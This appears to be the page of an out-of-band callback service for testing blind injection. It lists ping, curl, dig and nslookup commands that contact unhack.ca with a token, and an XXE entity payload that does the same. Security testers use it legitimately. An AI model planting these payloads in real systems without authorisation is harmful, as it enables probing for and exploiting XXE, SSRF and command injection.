$ ping -c1 -p 00ebd74b14fc5b5d7e0fa47371bef500 unhack.ca
 
$ curl http://unhack.ca/p/ebd74b14fc5b5d7e0fa47371bef5
 
$ dig ebd74b14fc5b5d7e0fa47371bef5 @unhack.ca
 
$ dig ebd74b14fc5b5d7e0fa47371bef5.ns.unhack.ca
 
C:\> nslookup ebd74b14fc5b5d7e0fa47371bef5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ebd74b14fc5b5d7e0fa47371bef5">]>
    <foo>&xxe;</foo>
Waiting for ping...